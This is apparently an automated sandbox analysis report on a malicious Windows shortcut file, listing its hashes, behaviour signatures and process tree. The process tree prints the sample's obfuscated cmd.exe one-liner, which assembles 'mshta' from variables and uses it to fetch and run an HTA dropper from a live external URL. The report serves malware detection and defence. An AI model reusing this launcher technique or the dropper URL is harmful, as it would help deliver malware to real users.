Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:20
Static task
static1
Behavioral task
behavioral1
Sample
DOC-8CI2IW.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-8CI2IW.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-8CI2IW.lnk
- Size 1KB
- Sample260804-j8vhjsvdrg
- SHA256 e79aede8c315139bc01cdce2a99716e909b11aa9a0438833c5ffbd4d35fc2800
- MD5 97e860941a639af2f74712ccce9a8d89
- SHA1 1e9131512e11f5f8ada3790d069181ac0cd26ba7
- SHA512 a72f879b52765a81dd76eb8f0048d9fd7cd24cdb49c59ca646a1672c01f13e48904f2b6b998e5de4f8169e76664362662fafa2354a0cab7081b88a3d7bb6dca0
- TLSH T12C31CB003FFD0624F3F38F7384BB572489BBB8968D20CA2D00414A0C5032A15E53AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4576 cmd.exe 5388 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4576 wrote to memory of 5388 4576 cmd.exe 90 PID 5388 wrote to memory of 1948 5388 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-8CI2IW.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set VQS=msh&&set Jc=ta&&start "" !VQS!!Jc! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5388 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:1948
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